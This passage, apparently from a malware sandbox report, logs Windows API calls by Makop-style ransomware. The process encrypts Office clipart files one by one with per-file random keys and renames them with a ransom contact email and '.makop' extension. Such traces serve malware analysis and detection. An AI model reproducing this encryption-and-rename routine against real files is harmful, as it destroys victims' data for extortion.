out: phKey=0x6577aac*=0x48c7128) returned 1 [0107.183] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0107.183] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.184] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1204, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1204, lpOverlapped=0x0) returned 1 [0107.186] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1210, dwBufLen=0x1210 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1210) returned 1 [0107.186] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.186] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1210, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1210, lpOverlapped=0x0) returned 1 [0107.186] CryptDestroyKey (hKey=0x48c7128) returned 1 [0107.186] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x12e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.186] SetEndOfFile (hFile=0xf0) returned 1 [0107.193] GetProcessHeap () returned 0x48a0000 [0107.193] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0107.193] GetProcessHeap () returned 0x48a0000 [0107.193] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0107.193] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0107.193] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0107.194] CloseHandle (hObject=0xf0) returned 1 [0107.194] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc48, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04196_.WMF", cAlternateFileName="")) returned 1 [0107.195] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0107.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0107.195] GetProcessHeap () returned 0x48a0000 [0107.195] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0107.195] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0107.195] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0107.196] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0107.200] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0107.200] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0107.200] GetProcessHeap () returned 0x48a0000 [0107.200] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0107.200] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0107.200] CryptDestroyKey (hKey=0x48c7128) returned 1 [0107.201] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0107.201] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0107.201] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0107.201] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0107.201] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0107.201] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0107.202] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0107.202] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0107.202] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.202] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xc48, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xc48, lpOverlapped=0x0) returned 1 [0107.202] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xc50, dwBufLen=0xc50 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xc50) returned 1 [0107.202] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.202] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xc50, lpOverlapped=0x0) returned 1 [0107.203] CryptDestroyKey (hKey=0x48c7128) returned 1 [0107.203] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xd24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.203] SetEndOfFile (hFile=0xf0) returned 1 [0107.210] GetProcessHeap () returned 0x48a0000 [0107.210] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0107.210] GetProcessHeap () returned 0x48a0000 [0107.210] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0107.210] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0107.210] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0107.211] CloseHandle (hObject=0xf0) returned 1 [0107.211] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1df4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04206_.WMF", cAlternateFileName="")) returned 1 [0107.211] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0107.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0107.220] GetProcessHeap () returned 0x48a0000 [0107.220] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0107.220] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0107.220] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0107.220] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0107.230] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0107.230] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0107.230] GetProcessHeap () returned 0x48a0000 [0107.230] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0107.230] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0107.230] CryptDestroyKey (hKey=0x48c7128) returned 1 [0107.231] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0107.231] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0107.231] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0107.231] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0107.232] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0107.232] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0107.232] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0107.232] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0107.232] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.232] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1df4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1df4, lpOverlapped=0x0) returned 1 [0107.234] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1e00, dwBufLen=0x1e00 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1e00) returned 1 [0107.234] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.235] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1e00, lpOverlapped=0x0) returned 1 [0107.235] CryptDestroyKey (hKey=0x48c7128) returned 1 [0107.235] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.235] SetEndOfFile (hFile=0xf0) returned 1 [0107.242] GetProcessHeap () returned 0x48a0000 [0107.242] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0107.242] GetProcessHeap () returned 0x48a0000 [0107.242] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0107.242] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0107.242] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0107.243] CloseHandle (hObject=0xf0) returned 1 [0107.243] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x212c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04225_.WMF", cAlternateFileName="")) returned 1 [0107.244] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0107.244] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0107.244] GetProcessHeap () returned 0x48a0000 [0107.244] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0107.244] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0107.244] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0107.245] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0107.249] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0107.249] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0107.249] GetProcessHeap () returned 0x48a0000 [0107.249] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0107.249] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0107.249] CryptDestroyKey (hKey=0x48c7128) returned 1 [0107.249] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0107.249] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0107.250] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0107.250] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0107.250] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0107.250] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0107.250] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0107.250] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0107.250] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.250] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x212c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x212c, lpOverlapped=0x0) returned 1 [0107.252] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2130, dwBufLen=0x2130 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2130) returned 1 [0107.252] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.252] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2130, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2130, lpOverlapped=0x0) returned 1 [0107.252] CryptDestroyKey (hKey=0x48c7128) returned 1 [0107.252] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2204, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.252] SetEndOfFile (hFile=0xf0) returned 1 [0107.259] GetProcessHeap () returned 0x48a0000 [0107.259] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0107.259] GetProcessHeap () returned 0x48a0000 [0107.259] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0107.259] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0107.259] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0107.261] CloseHandle (hObject=0xf0) returned 1 [0107.261] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04235_.WMF", cAlternateFileName="")) returned 1 [0107.261] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0107.261] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0107.262] GetProcessHeap () returned 0x48a0000 [0107.262] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0107.262] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0107.262] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0107.262] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0107.267] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0107.267] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0107.267] GetProcessHeap () returned 0x48a0000 [0107.267] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0107.268] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0107.269] CryptDestroyKey (hKey=0x48c7128) returned 1 [0107.269] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0107.269] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0107.269] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0107.270] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, 